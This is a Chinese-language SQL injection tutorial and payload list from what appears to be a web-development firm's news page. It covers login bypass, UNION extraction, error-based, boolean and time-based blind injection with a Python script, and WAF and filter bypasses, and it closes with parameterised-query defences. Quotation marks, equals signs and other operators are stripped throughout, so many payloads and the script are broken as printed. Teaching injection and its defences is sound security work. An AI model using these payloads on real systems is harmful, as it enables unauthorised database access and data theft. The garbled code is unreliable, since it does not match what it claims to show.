ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

SQL注入实战Payload清单:从原理到绕过技巧的完整指南

SQL注入实战Payload清单:从原理到绕过技巧的完整指南 干了这么多年安全测试电脑里存的东西越来越多。每次看到类似“20260323_152734_干货_SQL注入_Payload_List”这种命名的截图文件都不用打开就能想到内容——又是一张随手保存的Payload备忘录或者某个测试过程的关键记录。今天把这套整理过很多遍的SQL注入Payload清单和背后的使用思路一次说透既聊每条Payload为什么这么写也聊实际测试时怎么选、怎么改、怎么判断给正准备系统梳理这块知识的朋友一份能直接用的参考。先说清楚一个概念Payload不是越全越好而是越“明白”越好。网上随便一搜就是几百上千条的Payload大合集真正用到的时候反而不知道怎么选。这有点像工具箱里塞了一百把螺丝刀没有一个合手的。所以我更推荐按场景维护自己的少量核心Payload把原理吃透让每一条都能在需要的时候派上用场。这篇文章要聊的就是这套从实际测试里沉淀下来的Payload清单和完整的使用逻辑。1. 内容整体设计与思路拆解1.1 为什么需要一份“自己的”Payload清单很多人刚开始接触SQL注入时第一件事就是去存一份“全网最全Payload总结”。我也不例外早年存过十来个版本每个几千行真正测试时反而是翻来翻去找不到想要的。问题出在哪因为Payload清单根本不是拿来“存”的是拿来“用”的。每个字段、每个函数、每个注释符都需要理解它存在的意义。比如 or 11--这串看起来简单的万能密码拆开看包含了字符串闭合、逻辑或、恒真条件、注释符四个关键设计缺一个都可能在真实环境中失效。所以这里要说的思路是不要追求“量大管饱”而是建立一份“原理型”清单——按注入类型、数据库类型、绕过场景三个维度分类每条都标注适用条件和典型返回特征。这样遇到新的目标第一反应不是去翻清单而是根据现象判断属于哪一类再用对应的Payload验证。1.2 拆解一份Payload时到底在看什么判断一条Payload是否适合当前场景我会重点关注四个维度闭合方式目标SQL语句中这个参数是用单引号包着、双引号包着还是直接数字类型拼接这决定了前置的闭合字符怎么选。注释符MySQL、Oracle、MSSQL的注释符完全不同。--、#、/* */在不同数据库里支持情况不一样选错一个整条Payload就废了。回显位置页面会把查询结果直接显示出来吗会显示错误信息吗还是什么都不显示这决定了选用联合查询、报错注入还是盲注。执行上下文当前语句是SELECT、INSERT还是UPDATE是否有堆叠查询的可能不同上下文对Payload的写法限制很大。这四个维度想清楚了写出来的Payload就不是碰运气而是有明确逻辑的推导结果。还有一点必须强调学习和验证SQL注入一定要在合法的靶场环境里进行。比如本地搭建的漏洞环境、公开的CTF比赛题目、有明确授权的测试目标。在没有授权的系统上做注入测试不管出发点是什么都是违规行为。我自己的习惯是定期在靶场刷新一下手感遇到真实项目时按授权范围和白盒/黑盒测试边界执行。2. 核心细节解析与实操要点2.1 从SQL执行逻辑理解注入的本质开发人员在写SQL查询时常见的一种错误是把用户输入直接拼接到SQL语句里。比如登录功能写了这样一句SELECT * FROM users WHERE username $username AND password $password这里的$username和$password是用户可控的。当输入的内容包含SQL特殊字符时它就不再是“数据”而是变成了“代码”的一部分被执行。SQL注入的本质就是利用这个拼接点改变原本SQL语句的逻辑结构。这类问题用生活化的类比来说就好比你填表时在“姓名”栏里写了一段话结果这段话没有被当作“内容”打印在表格里而是被当作操作指令执行了这就乱了套。防御方要保证“内容就是内容、指令就是指令”进攻方则是想办法让内容被当成指令解释。理解这个本质之后很多Payload就不需要死记硬背。需要什么效果就构造什么样的语句片段插入进去。比如想让查询永远成立就构造一个返回TRUE的条件想让查询报错并显示数据就构造一个能触发数据库报错并携带数据的表达式。2.2 按回显方式划分四大基础类型在真正的测试中我首先会判断的就是“回显”的形态因为这直接决定后续走哪条技术路线。联合查询注入UNION-based页面会把查询结果显示出来且显示位置可控制。这种情况下最常使用UNION SELECT来拼接自己的查询语句从而获取其它表的数据。判断的关键是原查询的列数。报错注入Error-based页面不会显示正常结果但会把数据库的错误信息原样输出。这种情况利用数据库函数人为制造报错并在报错信息里携带查询结果。布尔盲注Boolean-based blind页面既不显示数据也不显示报错但可以通过条件真假导致页面内容不同。比如AND 11页面正常AND 12页面空白就能通过逐字符猜解数据。时间盲注Time-based blind连页面内容都不变只能通过数据库执行延迟函数如MySQL的SLEEP()来判断条件真假。这是最慢但最通用的方式。这四种类型没有绝对的高下之分只有“适不适合当前场景”的差别。2.3 按参数位置划分GPC绕过场景除了回显方式参数在SQL语句中出现的位置也会决定Payload的形状。这一点很多人容易忽略直接套模板结果测了半天没反应。SELECT子句中的参数比如?id1出现在WHERE条件中这是最常见的注入点。Payload需要先闭合前面的参数值再把注入内容放到WHERE条件里。INSERT/UPDATE子句中的参数常见于注册、修改个人资料功能。注入内容会在写入时执行可能利用报错回显或子查询提取数据。ORDER BY后的参数排序字段可控时可以直接写列名或表达式。有些数据库支持在ORDER BY后跟条件表达式形成布尔盲注。LIKE后的参数搜索功能往往把用户输入放在LIKE后面此时通配符%、_的含义需要额外考虑注释符和闭合方式也可能不同。每种位置的注入点都需要先确认“现在的SQL长什么样”再决定Payload的第一段写什么。3. 实操过程与核心环节实现3.1 登录绕过的核心Payload与变体登录绕过的Payload几乎每个搞安全的都见过但真正理解其演变路径的并不多。最常见的初始形态是万能密码or11--放到登录SQL中拼接后变成SELECT * FROM users WHERE username or11-- AND password anything此时username为空or 11恒真--把后面的密码判断直接注释掉整条查询返回所有用户取第一条往往就是管理员登录自然被绕过。但这个Payload在真实场景里经常失效因为很多系统做了基础过滤。实际测试中我通常会准备一组变体按顺序尝试 or 11 -- or 11 # or 11 --) or (11 or 11admin --admin #admin/*如果遇到的是需要用户名和密码都合法的SQL还会尝试把注释符放在密码位置usernameadmin password or 11还有一类情况是使用MD5加密后比较比如WHERE password md5($input)。此时直接输入admin AND 11 --形式可能不生效需要结合具体代码逻辑来处理。登录绕过只是SQL注入的入门应用但这里体现的“闭合思路”是后续一切Payload的基础。3.2 联合查询的核心流程与列数判断联合查询是获取数据效率最高的方式核心难点在于判断原查询的列数。我用一个CTF中常见的流程来说明假设一个URL是http://target.com/news.php?id1页面正常显示新闻内容。第一步先验证是否存在注入?id1 -- 页面异常或报错 ?id1-- -- 页面恢复正常说明单引号闭合注释符生效第二步判断列数用ORDER BY逐次增加?id1 ORDER BY 1-- -- 正常 ?id1 ORDER BY 2-- -- 正常 ?id1 ORDER BY 3-- -- 正常 ?id1 ORDER BY 4-- -- 报错说明只有3列这里涉及一个关键点ORDER BY 4报错不代表语句逻辑错误而是子句引用了一个不存在的列号。知道了列数是3就可以构造联合查询?id-1 UNION SELECT 1,2,3--为什么要用-1因为原始查询WHERE id1是有结果返回的联合查询会外加一行数据页面可能只显示第一行导致自定义数据看不到。把id改成不存在的-1原始查询返回空联合查询的结果自然就显示出来了。这个技巧在实战中非常重要直接决定联合查询是否有效。如果页面显示出了2这个数字说明第二列是回显位置。接下来就替换数字为查询语句?id-1 UNION SELECT 1,database(),3-- ?id-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase()--MySQL中group_concat可以把多行结果拼成一行弥补联合查询只能显示一行数据的限制。这是数据提取阶段的高频函数。3.3 报错注入的常用函数与场景选择报错注入的核心不是“让程序报错”而是“让报错信息把数据带出来”。不同数据库有各自的报错函数这里列出最常用的几类# MySQL AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)-- # Oracle AND 1CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))-- # MSSQL AND 1CONVERT(int,(SELECT version))--extractvalue和updatexml的报错信息长度有限制大约32个字符左右所以数据较长时需要配合substr分段截取。比如查看版本信息可以用substr(version(),1,32)再看后面的部分。实际测试中当页面返回XPATH syntax error: ~xxx~类似信息时就说明报错注入成功波浪线中间的xxx就是查询结果。用0x7e包裹是为了让报错中有一个特殊标记方便在冗长的报错信息里快速定位数据。报错注入的适用条件是页面开启了display_errors或数据库驱动把错误信息直接回显。如果页面返回统一错误页面就需要改用布尔盲注。3.4 布尔盲注的逻辑构造与逐字符猜解布尔盲注看起来效率低却是最稳定的信息提取方式。“如果条件为真页面显示A条件为假页面显示B”这个逻辑一旦成立任何数据都能通过逐字符猜解拿到。常用的布尔判断Payload长这样?id1 AND (SELECT SUBSTRING(database(),1,1))a-- ?id1 AND ASCII(SUBSTRING(database(),1,1))97--第一条判断数据库名第一个字符是否是a第二条判断其ASCII码是否大于97。实际测试中我不推荐用等号逐字符猜效率太低一般用二分法先100判断落在哪一半再逐步逼近。比如目标字符ASCII是115用97为真、116为假、再113为真、114为真、115为假只需要四次请求就能确定字符比逐一尝试26个字母快得多。如果手工测这类请求会非常痛苦所以要学会脚本化。用Python写一个简单的布尔盲注脚本即可本质上就是发HTTP请求、判断页面特征、二分猜解import requests url http://target.com/news.php # 以判断database()长度为例 for i in range(1, 20): # payload: 判断长度是否等于i payload f1 AND LENGTH(database()){i}-- r requests.get(url, params{id: payload}) if 正常页面的特征字段 in r.text: print(fdatabase length: {i}) break这里要提醒一个细节判断“页面是否正常”不能只看状态码要选一个正常返回和异常返回区别明显的标志字符串比如某个只在正常时出现的标题文本。3.5 时间盲注的坑与延迟函数选择时间盲注是最后的手段因为发送的请求数量最多、耗时最久。MySQL中常用的延迟函数是SLEEP()例如?id1 AND SLEEP(3)-- ?id1 AND IF(ASCII(SUBSTRING(database(),1,1))100,SLEEP(3),0)--第二条的含义是如果数据库名第一个字符ASCII大于100就延迟3秒否则立即返回。通过观察响应时间是否明显变长来判断条件真假。实际测试中直接写AND SLEEP(3)会有一个问题如果当前数据量很大SLEEP会对线上数据库造成额外压力。所以延迟时间我会控制在1到3秒之间能用1秒就不用3秒既保证判断的准确性又尽量降低影响。另一个坑是有些数据库连接池或代理会拦截长连接、超时重试这时延迟结果可能不准。我会对比基线时间——先发一个不带SLEEP的请求测正常响应时间再发带SLEEP的请求测延迟排除网络波动干扰。3.6 绕过过滤的Payload变换思路现在很多系统都有基础过滤直接搜or、and、空格、关键字。面对过滤时不要想着一个超长Payload解决一切而是拆解成多个绕过维度逐一处理。空格被过滤MySQL中可以用注释符代替空格比如/**/或用反引号包裹关键内容。?id1/**/UNION/**/SELECT/**/1,2,3--关键字被过滤大小写混写UnIoN、内联注释/*!UNION*/、十六进制编码0x7573657273表示users都是常见方案。?id-1/*!UNION*//*!SELECT*/1,database(),3--等号被过滤用LIKE替代或用、表达判断逻辑。aa可以改写为aLIKEa。逗号被过滤影响substr这类函数的使用可以改用FROM ... FOR ...语法# 替代 substr(database(),1,1) AND database() LIKE a%-- AND database() REGEXP ^a--绕过过滤的终极思路是找到过滤规则覆盖不到的表达方式。比如过滤了or但没过滤||在MySQL中||默认就是逻辑或过滤了select但可以用handler语句读取数据。这里要特别强调上面的绕过方法都必须在授权和靶场环境中练习。构造复杂的绕过Payload需要大量试错靶场里的SQLilabs、DVWA、BUUCTF题目都是很好的练习环境在上面练熟后在真实授权项目里应用会从容很多。3.7 从十六进制字节理解Payload的传输细节有时从抓包工具里会看到类似0x04 0xe5 0x88 0x86 0xe4 0xba 0xab这样的十六进制数据。这看起来像乱码实际可能是URL编码后的Payload或者特殊字符的字节表示。例如0xe5 0x88 0x86 0xe4 0xba 0xab对应UTF-8编码的“分享”两个字前面的0x04可能是控制字符或长度前缀。这个观察角度对排查问题很有用当你在测试时发现Payload发送出去但服务端没反应先看抓包里的十六进制内容确认特殊字符有没有被正确编码。特别是号在URL里会被解码成空格如果想传字面意义上的加号要写%2B。这类编码问题经常让新手白折腾半天。原始输入: 1 AND 11-- URL编码后: 1%27%20AND%201%3D1--%2B一些自动化工具在生成Payload时也会做十六进制编码以减少特殊字符被后端处理的可能性。理解这层字节逻辑能让你在调试时不至于在编码环节迷茫。4. 常见问题与排查技巧实录4.1 单引号被转义或过滤这是最常遇到的问题。当系统启用了addslashes、mysql_real_escape_string或参数化查询单引号会被转义成\直接拼闭合就失效了。排查思路先试数字型参数不带引号的注入点比如?id1 AND 11是否引发差异。如果数字型都无差异再试宽字节注入?id1%df%27 AND 11--宽字节注入的原理是当数据库使用GBK编码时%df%27会被解析为一个合法多字节字符转义符被“吃掉”单引号就逃逸出来了。这个技巧在旧的PHPMySQL系统中很常见新系统基本不可用了但排查历史遗留系统时值得一试。4.2 注释符不生效注释符写对了但请求仍报错常见原因有两个。一是URL编码问题比如#在URL里是锚点标识符需要编码成%23再提交。二是操作系统中--后面必须有空格有些接口在传参时会自动去掉末尾空格导致--变成--注释逻辑失效。此时可以改用--加号在URL中被解码为空格、--%20或#。不同数据库的注释符支持情况数据库行注释块注释备注MySQL--、#/* */--后必须有空格Oracle--/* */仅--MSSQL--/* */仅--PostgreSQL--/* */仅--这张表值得收藏到自己的笔记里排查时照着对一遍能省不少时间。4.3 页面有WAF或应用防火墙拦截WAF拦截的典型特征是输入普通参数正常一提交UNION SELECT、SLEEP等特征字符串就返回403或跳转到验证码页面。绕过WAF不是单纯拼Payload而是要理解WAF的检测原理它通常是基于正则匹配特征。常用的降噪思路有用/*!50000UNION*/这类内联注释MySQL会把注释里的内容当代码执行而正则可能漏掉。用CONCAT拆分关键字比如UNION写成UNI/**/ON。用十六进制编码敏感字符串SELECT写成SEL/**/ECT。减少请求频率避免触发速率检测。但坦白说WAF绕过的学习价值不在于“绕过本身”而在于理解检测规则的盲区。建议在测试环境中部署开源WAF做练习先看它拦截了哪些内容再想办法绕过这套练习流程对理解防护机制帮助很大。4.4 自动化工具出结果但手工验证失败用sqlmap这类工具测出某处注入但手工构造Payload却复现不了这种情况我反复遇到过。原因通常有几种工具使用了某种特殊的编码或注释方式手工没复刻到位。工具走了多个请求组合触发注入单条请求看不到效果。工具检测到的是二阶注入第一次请求写入、第二次请求才触发。遇到这种情况最简单的方式是打开工具的--verbose参数把工具实际发送的HTTP请求完整记录下来然后手工逐字复制粘贴到请求包中测试。这个过程同时也是一个很好的学习机会能直观看到工具是怎么构造Payload的。4.5 查询结果被截断或中文乱码判断出注入点、也拿到了数据但数据是乱码或者只显示一半。通常问题出在字符集上。Payload中带有中文条件时先确保请求和数据库的字符集一致。MySQL中可以在Payload前追加/*!40101 SET NAMES utf8*/来设置连接字符集。另外报错注入只显示32个字符联合查询时如果字段值里包含空格可能被浏览器当作多个词显示。解决方式是数据提取后用group_concat或十六进制转换把不可见和冲突字符处理掉。5. 防御视角反推修复方案5.1 参数化查询是第一道防线理解SQL注入Payload的终极目标并不是为了攻击而是站在攻防两端审视系统的安全性。从攻击者的Payload形态能很直观地看出修复方向既然注入是因为用户输入拼接进SQL语句那杜绝拼接就釜底抽薪。参数化查询PreparedStatement就是替代拼接的标准化方案String sql SELECT * FROM users WHERE username ? AND password ?; PreparedStatement pstmt conn.prepareStatement(sql); pstmt.setString(1, username); pstmt.setString(2, password);参数化查询的本质是让数据库区分“SQL结构”和“参数数据”。用户输入再特殊也只是被当成一个字符串值处理永远不会成为可执行的代码。这是最有效、成本最低的修复方式。5.2 输入校验与最小化输出即使做了参数化查询也应该在应用层做输入校验作为纵深防御。校验的原则是“白名单优先”——明确允许哪些字符而不是试图拦截所有坏字符。比如id参数只允许数字那就直接强制转int用户名允许字母数字和下划线其余一概拒绝。数据库账号权限也需要收敛。Web应用连接数据库时只授予当前业务所需的最小权限绝不使用root或sa。即使注入成功攻击者能做的事也会极其有限。一个只有SELECT权限的账号哪怕被注入了也无法读文件、写文件、调存储过程、访问其它库。5.3 安全测试的闭环建议最后给正在学习或初入行的朋友一些建议把“会打”和“会修”结合起来。每学一种Payload就去理解它能让数据库做什么、为什么会成功、对应代码应该怎么写才不会被利用。在靶场上练手时观察漏洞代码和修复代码的差异形成自己的判断力。推荐的学习路线是SQLilabs逐步打完理解每种注入类型的触发条件和Payload逻辑再在DVWA上以低中高三档难度切换练习体会防御升级对Payload的影响最后找几个CTF题目巩固重点练综合场景下的漏洞发现和利用思路。这个流程走下来对SQL注入的理解会比单纯背一万条Payload扎实得多。我在实际测试中的体会是SQL注入的核心从来不是“记住某个万能密码”而是理解SQL语句的拼接逻辑和数据库的行为差异。当你能闭上眼睛想象出后端SQL长什么样Payload自然就会从脑子里长出来。这份从实战里沉淀的清单希望能帮你少走一些我当年走过的弯路。把常用的几十条吃透比几百条浮光掠影有用得多。
返回列表